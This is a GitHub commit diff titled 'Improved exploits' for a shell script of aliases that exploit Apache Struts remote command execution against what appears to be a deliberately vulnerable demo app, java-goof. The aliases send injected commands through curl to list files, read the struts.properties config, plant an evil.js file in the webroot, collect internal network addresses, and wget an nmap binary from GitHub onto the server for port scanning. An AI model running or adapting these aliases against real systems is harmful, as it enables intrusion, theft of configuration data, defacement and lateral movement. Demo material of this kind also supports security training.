Skip to content

Commit 0fe79df

Browse files
committed
Improved exploits
1 parent d7a54bb commit 0fe79df

File tree

1 file changed

+14
-4
lines changed

1 file changed

+14
-4
lines changed

exploits/struts-aliases.sh

+14-4
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,13 @@
11
if [ -z "$JAVA_GOOF_HOST" ]; then
2-
export JAVA_GOOF_HOST=https://java-goof.herokuapp.com
2+
export JAVA_GOOF_HOST=java-goof.herokuapp.com
3+
export JAVA_GOOF_URL=https://$JAVA_GOOF_HOST
34
fi
45
export JAVA_GOOF_DEBUG=-v
56

6-
alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_HOST -H"
7+
alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_URL -H"
78

9+
# Check if struts is there
10+
alias struts0="nmap -p 80 --script http-vuln-struts-detection.nse $JAVA_GOOF_HOST"
811

912
# List files (simple)
1013
alias struts1="export EXP_MESSAGE='Getting list of files...'; export EXP_COMMAND='ls -l'; struts_base_command"
@@ -21,5 +24,12 @@ alias struts4="export EXP_MESSAGE='Getting full list of files...'; export EXP_CO
2124
# Show a sensitive file
2225
alias struts5="export EXP_MESSAGE='Showing sensitive properties file...'; export EXP_COMMAND='cat .\/target\/tomcat.*\/webapps\/expanded\/WEB-INF\/classes\/struts.properties'; struts_base_command"
2326

24-
# Create a file
25-
alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_HOST/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
27+
# Create a file *********(make sure JAVA_GOOF_TOMCAT_PID is set to the right PID)******
28+
alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_URL/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
29+
30+
# Getting IP Info
31+
alias struts7="export EXP_MESSAGE='Gathering internal network information...'; export export EXP_COMMAND='ip addr show'; struts_base_command"
32+
33+
# Uploading nmap to do port scanning
34+
alias struts8="export EXP_MESSAGE='Uploading nmap...'; export export EXP_COMMAND='wget https:\/\/github.com\/andrew-d\/static-binaries\/raw\/master\/binaries\/linux\/x86_64\/nmap'; struts_base_command"
35+

0 commit comments

Comments
 (0)